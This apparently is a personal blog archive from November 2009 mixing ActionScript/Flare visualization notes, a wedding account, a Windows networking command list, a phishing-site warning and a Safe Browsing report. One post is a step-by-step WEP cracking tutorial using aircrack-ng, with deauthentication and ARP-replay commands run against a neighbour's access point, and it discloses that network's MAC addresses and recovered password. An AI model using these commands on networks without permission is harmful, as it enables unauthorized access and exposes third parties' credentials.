2009 November

Labeling node (Labeler)

This simple code will add labeler on the nodes, I’m doing this under “private function visualize(data:Data):void”

vis.data.nodes.setProperties({
“size”: 2,
“fillColor” : 0xffff0000,
“buttonMode” : true,
“filters” : [new DropShadowFilter(7)]
});

//var k:int = 0;
//vis.data.nodes.visit(function(ns:NodeSprite):void {
//    ns.data.label = “Nodes ” + k++;      – - – If you want to put different than in the dataset.
//});

var lan:Labeler = new Labeler(”data.ip_src”,Data.NODES,fmt);
vis.operators.add(lan);
vis.operators.add(new NodeLinkTreeLayout(”topToBottom”,5,5,10));

var fmt:TextFormat = new TextFormat();
fmt.font = “Arial”;
fmt.color = 0×000022;
fmt.size = 17;
fmt.bold = true;

as seen in the code, this will resulted labeler for “data.ip_src”, for source of IP..

labeler

By salawank on November 24, 2009 | Uncategorized | A comment?
Tags: , ,

Old friend’s wedding

Salam, last saturday, i managed to go to my old friends wedding at Kuantan.. Shah Radzi Mat Akhir and Anisah Nordin. Kuantan is on heavy rain lately, but that doesn’t affect the wedding at all..

From my home here in KL, I departed at 8 a.m. and arrived at 11 a.m . I picked up my friend Mohd Anas al-hafiz from his home at Sungai Isap Damai, and then wen to the kenduri for makan2 :)

Glad we came early, since there are not many people around yet.. so we have our meal first.. And then I called my friend (Shah), and I asked him, ” Wey ko kat mane ni? orang dah start kenduri dah.. ” and then he replied, ” Aku tengah keje…nak bawak ayam pg kenduri”.. haha.. mase hari perkahwinan sendiri pon keje lagi.. mmg tabah :) Then he said he’ll arrived for about 2 p.m. Huh, me and anas decided to go back to our home, and come again at 2.. for our second meal.. hahah

Below are some of the pics taken there… Semoga Berbahagia Selalu dan Berkekalan ! :)

100_0485

100_0486

100_0489

100_0495

100_0501

100_0505

By salawank on November 22, 2009 | Uncategorized | A comment?

Learning action script with Flex and Flare

Hi there, currently, I’m learning action script with flex and implement the flare wonderful API for web based flash visualization.

Below are the example creating simple flash for “Hello World”

package
{
import flash.display.Sprite;
import flash.text.TextField;

//specify width, height,color and frame rate for the flash presentation on the web browser.
[SWF(width='800', height='600', backgroundColor='#ffffff', frameRate='30')]
public class HelloWorld extends Sprite
{
public function HelloWorld()
{
var label:TextField = new TextField();
label.text = “Hello World!”; //text file that will be appeared
label.x = 500;//set the x coordinate for words to be appear
label.y = 40;//set the y coordinate for words to be appear
this.addChild( label );
}
}
}

helloworld

To learn flare, go to this site http://flare.prefuse.org/ . They provide tutorials and the visualization effects are wonderful. In the website, they will list down all of the important tools, and steps to start with flare. For example, I’m using Adobe Flex Builder 3 to develop my project on top of windows. It can also be done on gnu/linux platform as a plugin/add-on for eclipse (if i’m not mistaken). Flare is open-source software released under a BSD license , created by Jeffrey Michael Heer http://hci.stanford.edu/jheer/bio/ .

Below are the sample of screen shots for my project that I’m doing right now:

simplegraph

circlenodecirclelayout2 - Copy

This is still not fully functioning if I must say.. I just managed to transfer the value/data from the output of the ruby pcap, nothing much.. the next step is to build a relationship/connectivity between the nodes.. seems gonna take much time for newbie like me to settle this… any update will be posted soon.

By salawank on November 17, 2009 | Uncategorized | 4 comments
Tags: , , ,

Check Spam User’s Registration

Hi, recently, i’ve got a few subscribers in my blog.. I think this is good.. but suddenly, I checked their username, email and google it..

Using http://www.stopforumspam.com/ they got plenty in their database spam user who disguise and register in forums and blogs.

One of example is shown in the pictures..

stopforumspam

thomasstopspam

name

By salawank on November 12, 2009 | Uncategorized | A comment?
Tags:

DOS / Windows IP Commands

DOS / Windows IP Commands

Display Connection Configuration: ipconfig /all
Display DNS Cache Info: ipconfig /displaydns
Clear DNS Cache: ipconfig /flushdns
Release All IP Address Connections: ipconfig /release
Renew All IP Address Connections: ipconfig /renew
Re-Register the DNS connections: ipconfig /registerdns
Change/Modify DHCP Class ID: ipconfig /setclassid
Network Connections: control netconnections
Network Setup Wizard: netsetup.cpl
Test Connectivity: ping www.whatismyip.com
Trace IP address Route: tracert
Displays the TCP/IP protocol sessions: netstat
Display Local Route: route
Display Resolved MAC Addresses: arp
Display Name of Computer Currently on: hostname
Display DHCP Class Information: ipconfig /showclassid

kadang bender2 simple camni kite taktau / lupe..

source : http://whatismyip.com/

By salawank on November 11, 2009 | Uncategorized | A comment?
Tags: , , ,

Phishing site Maybank2u..

This is another example of phishing site that available out there. Users with little knowledge will be tricked to enter their personal data such as account number and pin number.  http://www.classm2u.com/M2ULogin.htm . Beware of phishing sites since many tend to use Internet Explorer than Mozilla Firefox . When I test to open it using IE 8, it doesn’t provide any warning for it. This same goes to Google Chrome browser. The alert only appears on Mozilla Firefox. Currently, I’m using 3.5.5.

firefox block

maybank2u-forge

By salawank on November 10, 2009 | Uncategorized | A comment?
Tags: , ,

playing around…

javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0

copy the above javascript n paste at any website.. and play around :-)

javascript

By salawank on November 9, 2009 | Uncategorized | A comment?
Tags:

Cracking WiFi WEP keys

Hi, this simple tutorial is for cracking wep wifi keys..

My gear :

Lenovo IBM Thinkpad T60 with Intel wireless card embedded. — normal wifi card

Ubuntu 9.04 32bit

My practice target:

Wifi AP on my next home, UTP practical student :D

Ok lets start:
1.First, because it is not backtrack, i’m gonna have to install aircrack-ng.

sudo apt-get install aircrack-ng

Then, use Kismet or ‘iwlist’ to search or wardrive (in my case i don’t wardrive, juz sitting in my room :) ) wifi access points

in this example, i’m using iwlist:

2.

sudo iwlist wlan0 scanning

salax@salax-laptop:~$ sudo iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 – Address: 00:1C:DF:CD:84:74
ESSID:”Soul Society”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=74/100 Signal level:-60 dBm Noise level=-97 dBm
Encryption key:on
IE: Unknown: 000C536F756C20536F6369657479
IE: Unknown: 010882848B962430486C
IE: Unknown: 030106
IE: Unknown: 2A0100
IE: Unknown: 2F0100
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
IE: Unknown: 32040C121860
IE: Unknown: DD970050F204104A0001101044000
IE: Unknown: DD090010180200F0000000
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s
Extra:tsf=0000001b713e8183
Extra: Last beacon: 460ms ago
Cell 02 – Address: 00:1E:40:DD:81:60
ESSID:”PETRONAS1″
Mode:Master
Channel:10
Frequency:2.457 GHz (Channel 10)
Quality=51/100 Signal level:-78 dBm Noise level=-97 dBm
Encryption key:on
IE: Unknown: 0009504554524F4E415331
IE: Unknown: 010482848B96
IE: Unknown: 03010A
IE: Unknown: DD060010180205F0
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
Extra:tsf=00000000b2840fc4
Extra: Last beacon: 328ms ago
Cell 03 – Address: CE:9F:F0:61:B3:05
ESSID:”mariam”
Mode:Ad-Hoc
Channel:10
Frequency:2.457 GHz (Channel 10)
Quality=48/100 Signal level:-80 dBm Noise level=-97 dBm
Encryption key:off
IE: Unknown: 00066D617269616D
IE: Unknown: 010882848B960C183048
IE: Unknown: 03010A
IE: Unknown: 06020000
IE: Unknown: 2A0107
IE: Unknown: 32041224606C
IE: Unknown: DD070050F202000100
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000053cd9d3d6
Extra: Last beacon: 280ms ago
Cell 04 – Address: 00:21:91:35:0F:1B
ESSID:”Starbucks”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=45/100 Signal level:-82 dBm Noise level=-97 dBm
Encryption key:on
IE: Unknown: 0009537461726275636B73
IE: Unknown: 010882848B0C12961824
IE: Unknown: 030106
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP
Authentication Suites (1) : PSK
IE: Unknown: 2A0100
IE: Unknown: 32043048606C
IE: Unknown: DD0900037F01010060FF7F
IE: Unknown: DD050050F20500
IE: Unknown: DD750050F204104A0001101
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000a10cbf6181
Extra: Last beacon: 472ms ago
Cell 05 – Address: 00:1E:40:66:67:29
ESSID:”Streamyx Mobility”
Mode:Master
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=45/100 Signal level:-82 dBm Noise level=-97 dBm
Encryption key:on
IE: Unknown: 001153747265616D7978204D6F62696C697479
IE: Unknown: 010882848B962430486C
IE: Unknown: 03010B
IE: Unknown: 2A0104
IE: Unknown: 2F0104
IE: Unknown: 32040C121860
IE: Unknown: DD060010180200F4
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s
Extra:tsf=00000001118f4184
Extra: Last beacon: 136ms ago

Ok, look at the output, focus on the channel target of the APs. In this example, I’m choosing channel 10 for my practice.

3. Now, execute below command:

sudo airodump-ng -w capture -c 10 wlan0

Now you should see something like this:

aircrack

If you have error, means that your wifi adapter is busy/ already connected to AP, do below command: If u dont have any problem, just proceed with step 7.

4.

sudo airmon-ng start wlan0

and choose the mode enabled:

5.

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 – [phy0]
(monitor mode enabled on mon0)

This actually created another interface which is mon0
6. If you have previous error run with the new command

sudo airodump-ng -w capture -c 10 mon0

If you dont have error, just procede with wlan0.

Leave it running for a while. Focus on the MAC address of your desired AP and the notice the data increasing.

7. Now, open new tab in console and type:

sudo aireplay-ng -e PETRONAS1 -a 00:1E:40:DD:81:60 -c 00:19:D2:00:E6:37 –deauth 10 wlan0

-a 00:1E:40:DD:81:60 : MAC address of targeted AP (PETRONAS1)
-c 00:19:D2:00:E6:37 : MAC address of machine connected to the targeted AP. (This can be seen in the airodump at previous tab).
From this command, you can see the output:

deauth

8. Then, open another tab and type:,

sudo aireplay-ng –arpreplay -b 00:1E:40:DD:81:60 -h 00:19:D2:00:E6:37 wlan0

-b 00:1E:40:DD:81:60 : MAC address of targeted AP
-h 00:19:D2:00:E6:37 : MAC address of machine connected to the AP
run the command and we can see it searching for packets. Here you can see the connection of targeted AP and machine connected to it:

airreplay

9. Lastly, open another tab and type:

sudo aircrack-ng -f 4 -m 00:1E:40:DD:81:60 -n 128 capture.cap

-m 00:1E:40:DD:81:60 : the targeted MAC address
Here, i’m using 128 bit key encryption, assuming you know/guess/search for the targeted WEP key bit encryption. Below are when aircrack are pawning/decode the key:

testing pwne

10. Make it run and leave it until it finds/ the packets captured are enough to decrypt
the key password. The longer/complicated the passphare key, the more time acquire to crack it.. So in my case, i’m waited for about 10 minutes.. Lucky me :)

Password : petronas12345

p/s: this is for educational purpose, my neighbor has been informed about this and they have change their passphare to new and stronger password key.

Password found

Now, to test it, try to connect :

Success!

petronastestHere we see how simple and lame passphrase can be manipulated by others. So make it long and complicated, not easy to guess.

If your Internet connection is slow, someone is riding behind you :)

By salawank on November 4, 2009 | Uncategorized | 7 comments
Tags: , , ,

Malware detected? on chrome, not in firefox

I’ve encountered a website (forum) which declared by google chrome browser containing malware.  Funny not in firefox .. IE? lol

The output from Google safebrowsing

Safe Browsing
Diagnostic page for www.webdirectory.com.my

What is the current listing status for www.webdirectory.com.my?
Site is listed as suspicious – visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

What happened when Google visited this site?
Of the 254 pages we tested on the site over the past 90 days, 32 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-10-29, and the last time suspicious content was found on this site was on 2009-10-21.
Malicious software is hosted on 6 domain(s), including stone-sour.cn/, alinaturu.info/, guardpconline.com/.

4 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including waveevolution.com/, alinaturu.info/, designblogger.cn/.

This site was hosted on 1 network(s) including AS17971 (EASTGATE).

Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, www.webdirectory.com.my did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.

How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Warning: Visiting this site may harm your computer!
The website at mysahabat.org contains elements from the site www.webdirectory.com.my, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.
For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for www.webdirectory.com.my.
Learn more about how to protect yourself from harmful software online.
By salawank on November 3, 2009 | Uncategorized | A comment?
Tags: , ,

Flare – Flex Data Visualization

This is simple visualization that has been edited/customized from the flare.prefuse.org website.

The idea is I want to classify each nodes to be represented as a host, and its network connection between one another.. I’m still working on this..

The link for result.txt is on my local server.. so there will be popup error for that. This is still gonna take a long time to finish..Any help/suggestion would be great. Email me :)

Ip nodes

flare-nodes

By salawank on | Uncategorized | A comment?
Tags: , ,

6 visitors online now
6 guests, 0 members
Max visitors today: 7 at 02:13 pm GMT-8
This month: 11 at 09-09-2010 11:25 am GMT-8
This year: 21 at 03-24-2010 06:49 pm GMT-8
All time: 43 at 10-20-2009 08:17 am GMT-8

salawank is Digg proof thanks to caching by WP Super Cache